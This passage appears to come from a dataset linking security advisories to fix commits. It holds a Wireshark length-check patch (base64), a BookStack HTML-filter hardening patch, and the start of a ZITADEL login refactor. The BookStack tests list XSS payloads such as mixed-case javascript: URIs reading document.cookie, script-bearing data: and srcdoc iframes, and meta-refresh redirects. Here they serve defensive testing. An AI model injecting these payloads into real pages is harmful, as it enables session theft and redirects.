cmV0YXAvY29zaW5lLmMKaW5kZXggNWQ0OGI5MTJlODMuLmM3ZjU5NTIyOTQyIDEwMDY0NAotLS0gYS93aXJldGFwL2Nvc2luZS5jCisrKyBiL3dpcmV0YXAvY29zaW5lLmMKQEAgLTMzMCw4ICszMzAsNyBAQCBwYXJzZV9jb3NpbmVfcGFja2V0KEZJTEVfVCBmaCwgc3RydWN0IHd0YXBfcGt0aGRyICpwaGRyLCBCdWZmZXIgKmJ1ZiwKIHsKIAl1bmlvbiB3dGFwX3BzZXVkb19oZWFkZXIgKnBzZXVkb19oZWFkZXIgPSAmcGhkci0+cHNldWRvX2hlYWRlcjsKIAlpbnQJbnVtX2l0ZW1zX3NjYW5uZWQ7Ci0JaW50CXl5LCBtbSwgZGQsIGhyLCBtaW4sIHNlYywgY3NlYzsKLQlndWludAlwa3RfbGVuOworCWludAl5eSwgbW0sIGRkLCBociwgbWluLCBzZWMsIGNzZWMsIHBrdF9sZW47CiAJaW50CXBybywgb2ZmLCBwcmksIHJtLCBlcnJvcjsKIAlndWludAljb2RlMSwgY29kZTI7CiAJY2hhcglpZl9uYW1lW0NPU0lORV9NQVhfSUZfTkFNRV9MRU5dID0gIiIsIGRpcmVjdGlvbls2XSA9ICIiOwpAQCAtMzQzLDcgKzM0Miw3IEBAIHBhcnNlX2Nvc2luZV9wYWNrZXQoRklMRV9UIGZoLCBzdHJ1Y3Qgd3RhcF9wa3RoZHIgKnBoZHIsIEJ1ZmZlciAqYnVmLAogCQkgICAmeXksICZtbSwgJmRkLCAmaHIsICZtaW4sICZzZWMsICZjc2VjKSA9PSA3KSB7CiAJCS8qIGFwcGVhcnMgdG8gYmUgb3V0cHV0IHRvIGEgY29udHJvbCBibGFkZSAqLwogCQludW1faXRlbXNfc2Nhbm5lZCA9IHNzY2FuZihsaW5lLAotCQkgICAiJTRkLSUyZC0lMmQsJTJkOiUyZDolMmQuJTlkOiAlNXMgKCUxMjdbQS1aYS16MC05LzpdKSwgTGVuZ3RoOiU5dSwgUHJvOiU5ZCwgT2ZmOiU5ZCwgUHJpOiU5ZCwgUk06JTlkLCBFcnI6JTlkIFslOHgsICU4eF0iLAorCQkgICAiJTRkLSUyZC0lMmQsJTJkOiUyZDolMmQuJTlkOiAlNXMgKCUxMjdbQS1aYS16MC05LzpdKSwgTGVuZ3RoOiU5ZCwgUHJvOiU5ZCwgT2ZmOiU5ZCwgUHJpOiU5ZCwgUk06JTlkLCBFcnI6JTlkIFslOHgsICU4eF0iLAogCQkJJnl5LCAmbW0sICZkZCwgJmhyLCAmbWluLCAmc2VjLCAmY3NlYywKIAkJCQkgICBkaXJlY3Rpb24sIGlmX25hbWUsICZwa3RfbGVuLAogCQkJCSAgICZwcm8sICZvZmYsICZwcmksICZybSwgJmVycm9yLApAQCAtMzU3LDcgKzM1Niw3IEBAIHBhcnNlX2Nvc2luZV9wYWNrZXQoRklMRV9UIGZoLCBzdHJ1Y3Qgd3RhcF9wa3RoZHIgKnBoZHIsIEJ1ZmZlciAqYnVmLAogCX0gZWxzZSB7CiAJCS8qIGFwcGVhcnMgdG8gYmUgb3V0cHV0IHRvIFBFICovCiAJCW51bV9pdGVtc19zY2FubmVkID0gc3NjYW5mKGxpbmUsCi0JCSAgICIlNXMgKCUxMjdbQS1aYS16MC05LzpdKSwgTGVuZ3RoOiU5dSwgUHJvOiU5ZCwgT2ZmOiU5ZCwgUHJpOiU5ZCwgUk06JTlkLCBFcnI6JTlkIFslOHgsICU4eF0iLAorCQkgICAiJTVzICglMTI3W0EtWmEtejAtOS86XSksIExlbmd0aDolOWQsIFBybzolOWQsIE9mZjolOWQsIFByaTolOWQsIFJNOiU5ZCwgRXJyOiU5ZCBbJTh4LCAlOHhdIiwKIAkJCQkgICBkaXJlY3Rpb24sIGlmX25hbWUsICZwa3RfbGVuLAogCQkJCSAgICZwcm8sICZvZmYsICZwcmksICZybSwgJmVycm9yLAogCQkJCSAgICZjb2RlMSwgJmNvZGUyKTsKQEAgLTM2OSw2ICszNjgsMTEgQEAgcGFyc2VfY29zaW5lX3BhY2tldChGSUxFX1QgZmgsIHN0cnVjdCB3dGFwX3BrdGhkciAqcGhkciwgQnVmZmVyICpidWYsCiAJCX0KIAkJeXkgPSBtbSA9IGRkID0gaHIgPSBtaW4gPSBzZWMgPSBjc2VjID0gMDsKIAl9CisJaWYgKHBrdF9sZW4gPCAwKSB7CisJCSplcnIgPSBXVEFQX0VSUl9CQURfRklMRTsKKwkJKmVycl9pbmZvID0gZ19zdHJkdXAoImNvc2luZTogcGFja2V0IGhlYWRlciBoYXMgYSBuZWdhdGl2ZSBwYWNrZXQgbGVuZ3RoIik7CisJCXJldHVybiBGQUxTRTsKKwl9CiAJaWYgKHBrdF9sZW4gPiBXVEFQX01BWF9QQUNLRVRfU0laRSkgewogCQkvKgogCQkgKiBQcm9iYWJseSBhIGNvcnJ1cHQgY2FwdHVyZSBmaWxlOyBkb24ndCBibG93IHVwIHRyeWluZw==", "url": "https://github.com/wireshark/wireshark/commit/a66628e425db725df1ac52a3c573a03357060ddd.patch" } ]
n/a
GHSA-mjrp-x8v8-f2mx
null
[ { "commit_message": "[PATCH] Added extra HTML filtering of dangerous content In particular, That around the casing of dangerous values within attributes. This uses some xpath translation to handle different casing in contains searching. app/Util/HtmlContentFilter.php | 19 +++++++++++++++---- tests/Entity/PageContentTest.php | 25 +++++++++++++++++++++++-- 2 files changed, 38 insertions(+), 6 deletions(-)", "patch_text_b64": "From 5e6092aaf8fd420202016038286554860bf8ea64 Mon Sep 17 00:00:00 2001
From: Dan Brown <ssddanbrown@googlemail.com>
Date: Thu, 2 Sep 2021 22:02:30 +0100
Subject: [PATCH] Added extra HTML filtering of dangerous content

In particular, That around the casing of dangerous values within
attributes. This uses some xpath translation to handle different casing
in contains searching.
---
 app/Util/HtmlContentFilter.php   | 19 +++++++++++++++----
 tests/Entity/PageContentTest.php | 25 +++++++++++++++++++++++--
 2 files changed, 38 insertions(+), 6 deletions(-)

diff --git a/app/Util/HtmlContentFilter.php b/app/Util/HtmlContentFilter.php
index f251a22fdc9..729b8047475 100644
--- a/app/Util/HtmlContentFilter.php
+++ b/app/Util/HtmlContentFilter.php
@@ -28,19 +28,19 @@ public static function removeScripts(string $html): string
         static::removeNodes($scriptElems);
 
         // Remove clickable links to JavaScript URI
-        $badLinks = $xPath->query('//*[contains(@href, \'javascript:\')]');
+        $badLinks = $xPath->query('//*[' . static::xpathContains('@href', 'javascript:') . ']');
         static::removeNodes($badLinks);
 
         // Remove forms with calls to JavaScript URI
-        $badForms = $xPath->query('//*[contains(@action, \'javascript:\')] | //*[contains(@formaction, \'javascript:\')]');
+        $badForms = $xPath->query('//*[' . static::xpathContains('@action', 'javascript:') . '] | //*[' . static::xpathContains('@formaction', 'javascript:') . ']');
         static::removeNodes($badForms);
 
         // Remove meta tag to prevent external redirects
-        $metaTags = $xPath->query('//meta[contains(@content, \'url\')]');
+        $metaTags = $xPath->query('//meta[' . static::xpathContains('@content', 'url') . ']');
         static::removeNodes($metaTags);
 
         // Remove data or JavaScript iFrames
-        $badIframes = $xPath->query('//*[contains(@src, \'data:\')] | //*[contains(@src, \'javascript:\')] | //*[@srcdoc]');
+        $badIframes = $xPath->query('//*[' . static::xpathContains('@src', 'data:') . '] | //*[' . static::xpathContains('@src', 'javascript:') . '] | //*[@srcdoc]');
         static::removeNodes($badIframes);
 
         // Remove 'on*' attributes
@@ -60,6 +60,17 @@ public static function removeScripts(string $html): string
         return $html;
     }
 
+    /**
+     * Create a xpath contains statement with a translation automatically built within
+     * to affectively search in a cases-insensitive manner.
+     */
+    protected static function xpathContains(string $property, string $value): string
+    {
+        $value = strtolower($value);
+        $upperVal = strtoupper($value);
+        return 'contains(translate(' . $property . ', \'' . $upperVal . '\', \'' . $value . '\'), \'' . $value . '\')';
+    }
+
     /**
      * Removed all of the given DOMNodes.
      */
diff --git a/tests/Entity/PageContentTest.php b/tests/Entity/PageContentTest.php
index 5aee9788786..193f8140010 100644
--- a/tests/Entity/PageContentTest.php
+++ b/tests/Entity/PageContentTest.php
@@ -135,14 +135,26 @@ public function test_more_complex_content_script_escaping_scenarios()
         }
     }
 
-    public function test_iframe_js_and_base64_urls_are_removed()
+    public function test_js_and_base64_src_urls_are_removed()
     {
         $checks = [
             '<iframe src="javascript:alert(document.cookie)"></iframe>',
+            '<iframe src="JavAScRipT:alert(document.cookie)"></iframe>',
+            '<iframe src="JavAScRipT:alert(document.cookie)"></iframe>',
             '<iframe SRC=" javascript: alert(document.cookie)"></iframe>',
             '<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGVsbG8nKTwvc2NyaXB0Pg==" frameborder="0"></iframe>',
+            '<iframe src="DaTa:text/html;base64,PHNjcmlwdD5hbGVydCgnaGVsbG8nKTwvc2NyaXB0Pg==" frameborder="0"></iframe>',
             '<iframe src=" data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGVsbG8nKTwvc2NyaXB0Pg==" frameborder="0"></iframe>',
+            '<img src="javascript:alert(document.cookie)"/>',
+            '<img src="JavAScRipT:alert(document.cookie)"/>',
+            '<img src="JavAScRipT:alert(document.cookie)"/>',
+            '<img SRC=" javascript: alert(document.cookie)"/>',
+            '<img src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGVsbG8nKTwvc2NyaXB0Pg=="/>',
+            '<img src="DaTa:text/html;base64,PHNjcmlwdD5hbGVydCgnaGVsbG8nKTwvc2NyaXB0Pg=="/>',
+            '<img src=" data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGVsbG8nKTwvc2NyaXB0Pg=="/>',
             '<iframe srcdoc="<script>window.alert(document.cookie)</script>"></iframe>',
+            '<iframe SRCdoc="<script>window.alert(document.cookie)</script>"></iframe>',
+            '<IMG SRC=`javascript:alert("RSnake says, \'XSS\'")`>',
         ];
 
         $this->asEditor();
@@ -155,6 +167,7 @@ public function test_iframe_js_and_base64_urls_are_removed()
             $pageView = $this->get($page->getUrl());
             $pageView->assertStatus(200);
             $pageView->assertElementNotContains('.page-content', '<iframe>');
+            $pageView->assertElementNotContains('.page-content', '<img');
             $pageView->assertElementNotContains('.page-content', '</iframe>');
             $pageView->assertElementNotContains('.page-content', 'src=');
             $pageView->assertElementNotContains('.page-content', 'javascript:');
@@ -168,6 +181,8 @@ public function test_javascript_uri_links_are_removed()
         $checks = [
             '<a id="xss" href="javascript:alert(document.cookie)>Click me</a>',
             '<a id="xss" href="javascript: alert(document.cookie)>Click me</a>',
+            '<a id="xss" href="JaVaScRiPt: alert(document.cookie)>Click me</a>',
+            '<a id="xss" href=" JaVaScRiPt: alert(document.cookie)>Click me</a>',
         ];
 
         $this->asEditor();
@@ -179,7 +194,7 @@ public function test_javascript_uri_links_are_removed()
 
             $pageView = $this->get($page->getUrl());
             $pageView->assertStatus(200);
-            $pageView->assertElementNotContains('.page-content', '<a id="xss">');
+            $pageView->assertElementNotContains('.page-content', '<a id="xss"');
             $pageView->assertElementNotContains('.page-content', 'href=javascript:');
         }
     }
@@ -188,8 +203,10 @@ public function test_form_actions_with_javascript_are_removed()
     {
         $checks = [
             '<form><input id="xss" type=submit formaction=javascript:alert(document.domain) value=Submit><input></form>',
+            '<form ><button id="xss" formaction="JaVaScRiPt:alert(document.domain)">Click me</button></form>',
             '<form ><button id="xss" formaction=javascript:alert(document.domain)>Click me</button></form>',
             '<form id="xss" action=javascript:alert(document.domain)><input type=submit value=Submit></form>',
+            '<form id="xss" action="JaVaScRiPt:alert(document.domain)"><input type=submit value=Submit></form>',
         ];
 
         $this->asEditor();
@@ -213,6 +230,8 @@ public function test_metadata_redirects_are_removed()
     {
         $checks = [
             '<meta http-equiv="refresh" content="0; url=//external_url">',
+            '<meta http-equiv="refresh" ConTeNt="0; url=//external_url">',
+            '<meta http-equiv="refresh" content="0; UrL=//external_url">',
         ];
 
         $this->asEditor();
@@ -249,11 +268,13 @@ public function test_more_complex_inline_on_attributes_escaping_scenarios()
     {
         $checks = [
             '<p onclick="console.log(\'test\')">Hello</p>',
+            '<p OnCliCk="console.log(\'test\')">Hello</p>',
             '<div>Lorem ipsum dolor sit amet.</div><p onclick="console.log(\'test\')">Hello</p>',
             '<div>Lorem ipsum dolor sit amet.<p onclick="console.log(\'test\')">Hello</p></div>',
             '<div><div><div><div>Lorem ipsum dolor sit amet.<p onclick="console.log(\'test\')">Hello</p></div></div></div></div>',
             '<div onclick="console.log(\'test\')">Lorem ipsum dolor sit amet.</div><p onclick="console.log(\'test\')">Hello</p><div></div>',
             '<a a="<img src=1 onerror=\'alert(1)\'> ',
+            '\<a onclick="alert(document.cookie)"\>xss link\</a\>',
         ];
 
         $this->asEditor();", "url": "https://github.com/bookstackapp/bookstack/commit/5e6092aaf8fd420202016038286554860bf8ea64.patch" } ]
null
GHSA-v959-qxv6-6f8p
ZITADEL Vulnerable to Account Takeover via DOM-Based XSS in Zitadel V2 Login
null
[ { "commit_message": "[PATCH] fix(login): Centralize host header resolution and forward headers to APIs MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This PR refactors the host resolution logic to establish a single source of truth for determining the instance and public hosts from request headers. It also ensures that headers are properly forwarded to APIs for multi-tenant routing. Centralized Host Resolution (host.ts) Created dedicated functions in `src/lib/server/host.ts` to handle host resolution: 1. `getInstanceHost(headers)`: Returns the instance host used for API routing Priority: x-zitadel-instance-host → x-forwarded-host → host Used for determining which ZITADEL instance to route API calls to 2. `getPublicHost(headers)`: Returns the public-facing host that users see Priority: x-forwarded-host → host (explicitly excludes x-zitadel-instance-host) Used for generating user-facing URLs (password reset links, etc.) Additionally, on logout / end_session the parameters are passed as a JWT to safely pass the state between the API and the login UI V2. Co-authored-by: Livio Spring <livio.a@gmail.com> (cherry picked from commit df75be96ffdcd9b65909adeac8a24927d134d124) apps/login/next-env.d.ts | 1 + apps/login/next.config.mjs | 5 +- apps/login/package.json | 4 +- apps/login/src/app/(login)/accounts/page.tsx | 22 +- .../app/(login)/authenticator/set/page.tsx | 34 +- .../src/app/(login)/device/consent/page.tsx | 16 +- apps/login/src/app/(login)/device/page.tsx | 12 +- .../idp/[provider]/account-not-found/page.tsx | 12 +- .../[provider]/complete-registration/page.tsx | 8 +- .../(login)/idp/[provider]/failure/page.tsx | 20 +- .../idp/[provider]/linking-failed/page.tsx | 8 +- .../[provider]/registration-failed/page.tsx | 12 +- apps/login/src/app/(login)/idp/ldap/page.tsx | 12 +- apps/login/src/app/(login)/idp/page.tsx | 12 +- apps/login/src/app/(login)/loginname/page.tsx | 24 +- .../src/app/(login)/logout/done/page.tsx | 8 +- apps/login/src/app/(login)/logout/page.tsx | 56 +- apps/login/src/app/(login)/mfa/page.tsx | 28 +- apps/login/src/app/(login)/mfa/set/page.tsx | 26 +- .../src/app/(login)/otp/[method]/page.tsx | 23 +- .../src/app/(login)/otp/[method]/set/page.tsx | 28 +- apps/login/src/app/(login)/passkey/page.tsx | 18 +- .../src/app/(login)/passkey/set/page.tsx | 16 +- .../src/app/(login)/password/change/page.tsx | 20 +- apps/login/src/app/(login)/password/page.tsx | 20 +- .../src/app/(login)/password/set/page.tsx | 24 +- apps/login/src/app/(login)/register/page.tsx | 28 +- .../app/(login)/register/password/page.tsx | 24 +- apps/login/src/app/(login)/signedin/page.tsx | 26 +- apps/login/src/app/(login)/u2f/page.tsx | 16 +- apps/login/src/app/(login)/u2f/set/page.tsx | 12 +- apps/login/src/app/(login)/verify/page.tsx | 20 +- .../src/app/(login)/verify/success/page.tsx | 16 +- apps/login/src/app/login/route.ts | 23 +- apps/login/src/app/security/route.ts | 6 +- apps/login/src/i18n/request.ts | 8 +- apps/login/src/lib/deployment.test.ts | 77 +++ apps/login/src/lib/deployment.ts | 24 + apps/login/src/lib/oidc.ts | 26 +- apps/login/src/lib/saml.ts | 26 +- apps/login/src/lib/self.ts | 21 +- apps/login/src/lib/server/auth-flow.ts | 22 +- apps/login/src/lib/server/cookie.ts | 38 +- apps/login/src/lib/server/device.ts | 8 +- apps/login/src/lib/server/flow-initiation.ts | 55 +- apps/login/src/lib/server/host.test.ts | 323 ++++++------ apps/login/src/lib/server/host.ts | 60 +-- apps/login/src/lib/server/idp-intent.test.ts | 60 +-- apps/login/src/lib/server/idp-intent.ts | 81 +-- apps/login/src/lib/server/idp.test.ts | 26 +- apps/login/src/lib/server/idp.ts | 38 +- apps/login/src/lib/server/loginname.test.ts | 32 +- apps/login/src/lib/server/loginname.ts | 60 +-- apps/login/src/lib/server/oidc.ts | 8 +- apps/login/src/lib/server/passkeys.test.ts | 6 +- apps/login/src/lib/server/passkeys.ts | 63 +-- apps/login/src/lib/server/password.ts | 106 ++-- apps/login/src/lib/server/register.ts | 38 +- apps/login/src/lib/server/session.ts | 40 +- apps/login/src/lib/server/u2f.ts | 26 +- apps/login/src/lib/server/verify.ts | 85 +-- apps/login/src/lib/service-url.test.ts | 217 ++++++++ apps/login/src/lib/service-url.ts | 67 +-- apps/login/src/lib/service.ts | 34 +- apps/login/src/lib/session.test.ts | 72 +-- apps/login/src/lib/session.ts | 38 +- apps/login/src/lib/verify-helper.ts | 9 +- apps/login/src/lib/zitadel.ts | 491 ++++++++++-------- apps/login/src/middleware.ts | 64 +-- apps/login/tsconfig.json | 14 +- internal/api/oidc/auth_request.go | 35 +- internal/api/oidc/auth_request_test.go | 44 +- .../integration_test/auth_request_test.go | 20 +- packages/zitadel-client/src/node.ts | 56 +- pnpm-lock.yaml | 112 ++-- 75 files changed, 1631 insertions(+), 1639 deletions(-) create mode 100644 apps/login/src/lib/deployment.test.ts create mode 100644 apps/login/src/lib/deployment.ts create mode 100644 apps/login/src/lib/service-url.test.ts", "patch_text_b64": "From 4c879b47334e01d4fcab921ac1b44eda39acdb96 Mon Sep 17 00:00:00 2001
From: Max Peintner <peintnerm@gmail.com>
Date: Mon, 8 Dec 2025 10:01:49 +0100
Subject: [PATCH] fix(login): Centralize host header resolution and forward
 headers to APIs
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This PR refactors the host resolution logic to establish a single source of truth for determining the instance and public hosts from request headers. It also ensures that headers are properly forwarded to APIs for multi-tenant routing.

Centralized Host Resolution (host.ts)
Created dedicated functions in `src/lib/server/host.ts` to handle host resolution:

1. `getInstanceHost(headers)`: Returns the instance host used for API routing
Priority: x-zitadel-instance-host → x-forwarded-host → host
Used for determining which ZITADEL instance to route API calls to

2. `getPublicHost(headers)`: Returns the public-facing host that users see
Priority: x-forwarded-host → host (explicitly excludes x-zitadel-instance-host)
Used for generating user-facing URLs (password reset links, etc.)

Additionally, on logout / end_session the parameters are passed as a JWT to safely pass the state between the API and the login UI V2.

---------

Co-authored-by: Livio Spring <livio.a@gmail.com>

(cherry picked from commit df75be96ffdcd9b65909adeac8a24927d134d124)
---
 apps/login/next-env.d.ts                      |   1 +
 apps/login/next.config.mjs                    |   5 +-
 apps/login/package.json                       |   4 +-
 apps/login/src/app/(login)/accounts/page.tsx  |  22 +-
 .../app/(login)/authenticator/set/page.tsx    |  34 +-
 .../src/app/(login)/device/consent/page.tsx   |  16 +-
 apps/login/src/app/(login)/device/page.tsx    |  12 +-
 .../idp/[provider]/account-not-found/page.tsx |  12 +-
 .../[provider]/complete-registration/page.tsx |   8 +-
 .../(login)/idp/[provider]/failure/page.tsx   |  20 +-
 .../idp/[provider]/linking-failed/page.tsx    |   8 +-
 .../[provider]/registration-failed/page.tsx   |  12 +-
 apps/login/src/app/(login)/idp/ldap/page.tsx  |  12 +-
 apps/login/src/app/(login)/idp/page.tsx       |  12 +-
 apps/login/src/app/(login)/loginname/page.tsx |  24 +-
 .../src/app/(login)/logout/done/page.tsx      |   8 +-
 apps/login/src/app/(login)/logout/page.tsx    |  56 +-
 apps/login/src/app/(login)/mfa/page.tsx       |  28 +-
 apps/login/src/app/(login)/mfa/set/page.tsx   |  26 +-
 .../src/app/(login)/otp/[method]/page.tsx     |  23 +-
 .../src/app/(login)/otp/[method]/set/page.tsx |  28 +-
 apps/login/src/app/(login)/passkey/page.tsx   |  18 +-
 .../src/app/(login)/passkey/set/page.tsx      |  16 +-
 .../src/app/(login)/password/change/page.tsx  |  20 +-
 apps/login/src/app/(login)/password/page.tsx  |  20 +-
 .../src/app/(login)/password/set/page.tsx     |  24 +-
 apps/login/src/app/(login)/register/page.tsx  |  28 +-
 .../app/(login)/register/password/page.tsx    |  24 +-
 apps/login/src/app/(login)/signedin/page.tsx  |  26 +-
 apps/login/src/app/(login)/u2f/page.tsx       |  16 +-
 apps/login/src/app/(login)/u2f/set/page.tsx   |  12 +-
 apps/login/src/app/(login)/verify/page.tsx    |  20 +-
 .../src/app/(login)/verify/success/page.tsx   |  16 +-
 apps/login/src/app/login/route.ts             |  23 +-
 apps/login/src/app/security/route.ts          |   6 +-
 apps/login/src/i18n/request.ts                |   8 +-
 apps/login/src/lib/deployment.test.ts         |  77 +++
 apps/login/src/lib/deployment.ts              |  24 +
 apps/login/src/lib/oidc.ts                    |  26 +-
 apps/login/src/lib/saml.ts                    |  26 +-
 apps/login/src/lib/self.ts                    |  21 +-
 apps/login/src/lib/server/auth-flow.ts        |  22 +-
 apps/login/src/lib/server/cookie.ts           |  38 +-
 apps/login/src/lib/server/device.ts           |   8 +-
 apps/login/src/lib/server/flow-initiation.ts  |  55 +-
 apps/login/src/lib/server/host.test.ts        | 323 ++++++------
 apps/login/src/lib/server/host.ts             |  60 +--
 apps/login/src/lib/server/idp-intent.test.ts  |  60 +--
 apps/login/src/lib/server/idp-intent.ts       |  81 +--
 apps/login/src/lib/server/idp.test.ts         |  26 +-
 apps/login/src/lib/server/idp.ts              |  38 +-
 apps/login/src/lib/server/loginname.test.ts   |  32 +-
 apps/login/src/lib/server/loginname.ts        |  60 +--
 apps/login/src/lib/server/oidc.ts             |   8 +-
 apps/login/src/lib/server/passkeys.test.ts    |   6 +-
 apps/login/src/lib/server/passkeys.ts         |  63 +--
 apps/login/src/lib/server/password.ts         | 106 ++--
 apps/login/src/lib/server/register.ts         |  38 +-
 apps/login/src/lib/server/session.ts          |  40 +-
 apps/login/src/lib/server/u2f.ts              |  26 +-
 apps/login/src/lib/server/verify.ts           |  85 +--
 apps/login/src/lib/service-url.test.ts        | 217 ++++++++
 apps/login/src/lib/service-url.ts             |  67 +--
 apps/login/src/lib/service.ts                 |  34 +-
 apps/login/src/lib/session.test.ts            |  72 +--
 apps/login/src/lib/session.ts                 |  38 +-
 apps/login/src/lib/verify-helper.ts           |   9 +-
 apps/login/src/lib/zitadel.ts                 | 491 ++++++++++--------
 apps/login/src/middleware.ts                  |  64 +--
 apps/login/tsconfig.json                      |  14 +-
 internal/api/oidc/auth_request.go             |  35 +-
 internal/api/oidc/auth_request_test.go        |  44 +-
 .../integration_test/auth_request_test.go     |  20 +-
 packages/zitadel-client/src/node.ts           |  56 +-
 pnpm-lock.yaml                                | 112 ++--
 75 files changed, 1631 insertions(+), 1639 deletions(-)
 create mode 100644 apps/login/src/lib/deployment.test.ts
 create mode 100644 apps/login/src/lib/deployment.ts
 create mode 100644 apps/login/src/lib/service-url.test.ts

diff --git a/apps/login/next-env.d.ts b/apps/login/next-env.d.ts
index 1b3be0840f3..830fb594ca2 100755
--- a/apps/login/next-env.d.ts
+++ b/apps/login/next-env.d.ts
@@ -1,5 +1,6 @@
 /// <reference types="next" />
 /// <reference types="next/image-types/global" />
+/// <reference path="./.next/types/routes.d.ts" />
 
 // NOTE: This file should not be edited
 // see https://nextjs.org/docs/app/api-reference/config/typescript for more information.
diff --git a/apps/login/next.config.mjs b/apps/login/next.config.mjs
index c0aab041cc1..5e85d323176 100755
--- a/apps/login/next.config.mjs
+++ b/apps/login/next.config.mjs
@@ -37,12 +37,9 @@ const nextConfig = {
   output: process.env.NEXT_OUTPUT_MODE || undefined,
   reactStrictMode: true,
   experimental: {
-    dynamicIO: true,
     // Add React 19 compatibility optimizations
     optimizePackageImports: ['@radix-ui/react-tooltip', '@heroicons/react'],
-  },
-  eslint: {
-    ignoreDuringBuilds: true,
+    useCache: true,
   },
   // Improve SSR stability - not actually needed for React 19 SSR issues
   // onDemandEntries: {
diff --git a/apps/login/package.json b/apps/login/package.json
index 0c7c7e8dc81..3959aefbc79 100644
--- a/apps/login/package.json
+++ b/apps/login/package.json
@@ -36,7 +36,7 @@
     "deepmerge": "^4.3.1",
     "lucide-react": "0.469.0",
     "moment": "^2.29.4",
-    "next": "15.4.0-canary.86",
+    "next": "15.5.7",
     "next-intl": "^3.25.1",
     "next-themes": "^0.2.1",
     "nice-grpc": "2.0.1",
@@ -75,7 +75,7 @@
     "dotenv-cli": "^8.0.0",
     "env-cmd": "^10.1.0",
     "eslint": "^8.57.0",
-    "eslint-config-next": "15.4.0-canary.86",
+    "eslint-config-next": "15.5.7",
     "eslint-config-prettier": "^9.1.0",
     "gaxios": "^7.1.0",
     "grpc-tools": "1.13.0",
diff --git a/apps/login/src/app/(login)/accounts/page.tsx b/apps/login/src/app/(login)/accounts/page.tsx
index 354d36f01e2..1b25162157e 100644
--- a/apps/login/src/app/(login)/accounts/page.tsx
+++ b/apps/login/src/app/(login)/accounts/page.tsx
@@ -2,8 +2,8 @@ import { DynamicTheme } from "@/components/dynamic-theme";
 import { SessionsList } from "@/components/sessions-list";
 import { Translated } from "@/components/translated";
 import { getAllSessionCookieIds } from "@/lib/cookies";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
-import { getBrandingSettings, getDefaultOrg, listSessions } from "@/lib/zitadel";
+import { getServiceConfig } from "@/lib/service-url";
+import { getBrandingSettings, getDefaultOrg, listSessions, ServiceConfig } from "@/lib/zitadel";
 import { UserPlusIcon } from "@heroicons/react/24/outline";
 import { Organization } from "@zitadel/proto/zitadel/org/v2/org_pb";
 import { Metadata } from "next";
@@ -17,13 +17,11 @@ export async function generateMetadata(): Promise<Metadata> {
   return { title: t("title") };
 }
 
-async function loadSessions({ serviceUrl }: { serviceUrl: string }) {
+async function loadSessions({ serviceConfig }: { serviceConfig: ServiceConfig }) {
   const cookieIds = await getAllSessionCookieIds();
 
   if (cookieIds && cookieIds.length) {
-    const response = await listSessions({
-      serviceUrl,
-      ids: cookieIds.filter((id) => !!id) as string[],
+    const response = await listSessions({ serviceConfig, ids: cookieIds.filter((id) => !!id) as string[],
     });
     return response?.sessions ?? [];
   } else {
@@ -39,23 +37,19 @@ export default async function Page(props: { searchParams: Promise<Record<string
   const organization = searchParams?.organization;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   let defaultOrganization;
   if (!organization) {
-    const org: Organization | null = await getDefaultOrg({
-      serviceUrl,
-    });
+    const org: Organization | null = await getDefaultOrg({ serviceConfig, });
     if (org) {
       defaultOrganization = org.id;
     }
   }
 
-  let sessions = await loadSessions({ serviceUrl });
+  let sessions = await loadSessions({ serviceConfig });
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization: organization ?? defaultOrganization,
+  const branding = await getBrandingSettings({ serviceConfig, organization: organization ?? defaultOrganization,
   });
 
   const params = new URLSearchParams();
diff --git a/apps/login/src/app/(login)/authenticator/set/page.tsx b/apps/login/src/app/(login)/authenticator/set/page.tsx
index a78239bffc4..a1a21bc2abc 100644
--- a/apps/login/src/app/(login)/authenticator/set/page.tsx
+++ b/apps/login/src/app/(login)/authenticator/set/page.tsx
@@ -6,7 +6,7 @@ import { SignInWithIdp } from "@/components/sign-in-with-idp";
 import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
 import { getSessionCookieById } from "@/lib/cookies";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { loadMostRecentSession } from "@/lib/session";
 import { checkUserVerification } from "@/lib/verify-helper";
 import {
@@ -35,7 +35,7 @@ export default async function Page(props: { searchParams: Promise<Record<string
   const { loginName, requestId, organization, sessionId } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const sessionWithData = sessionId
     ? await loadSessionById(sessionId, organization)
@@ -52,11 +52,9 @@ export default async function Page(props: { searchParams: Promise<Record<string
       throw Error("Could not get user id from session");
     }
 
-    return listAuthenticationMethodTypes({
-      serviceUrl,
-      userId,
+    return listAuthenticationMethodTypes({ serviceConfig, userId,
     }).then((methods) => {
-      return getUserByID({ serviceUrl, userId }).then((user) => {
+      return getUserByID({ serviceConfig, userId }).then((user) => {
         const humanUser = user.user?.type.case === "human" ? user.user?.type.value : undefined;
 
         return {
@@ -71,25 +69,21 @@ export default async function Page(props: { searchParams: Promise<Record<string
   }
 
   async function loadSessionByLoginname(loginName?: string, organization?: string) {
-    return loadMostRecentSession({
-      serviceUrl,
-      sessionParams: {
+    return loadMostRecentSession({ serviceConfig, sessionParams: {
         loginName,
         organization,
       },
     }).then((session) => {
-      return getAuthMethodsAndUser(serviceUrl, session);
+      return getAuthMethodsAndUser(serviceConfig.baseUrl, session);
     });
   }
 
   async function loadSessionById(sessionId: string, organization?: string) {
     const recent = await getSessionCookieById({ sessionId, organization });
-    return getSession({
-      serviceUrl,
-      sessionId: recent.id,
+    return getSession({ serviceConfig, sessionId: recent.id,
       sessionToken: recent.token,
     }).then((sessionResponse) => {
-      return getAuthMethodsAndUser(serviceUrl, sessionResponse.session);
+      return getAuthMethodsAndUser(serviceConfig.baseUrl, sessionResponse.session);
     });
   }
 
@@ -101,14 +95,10 @@ export default async function Page(props: { searchParams: Promise<Record<string
     );
   }
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
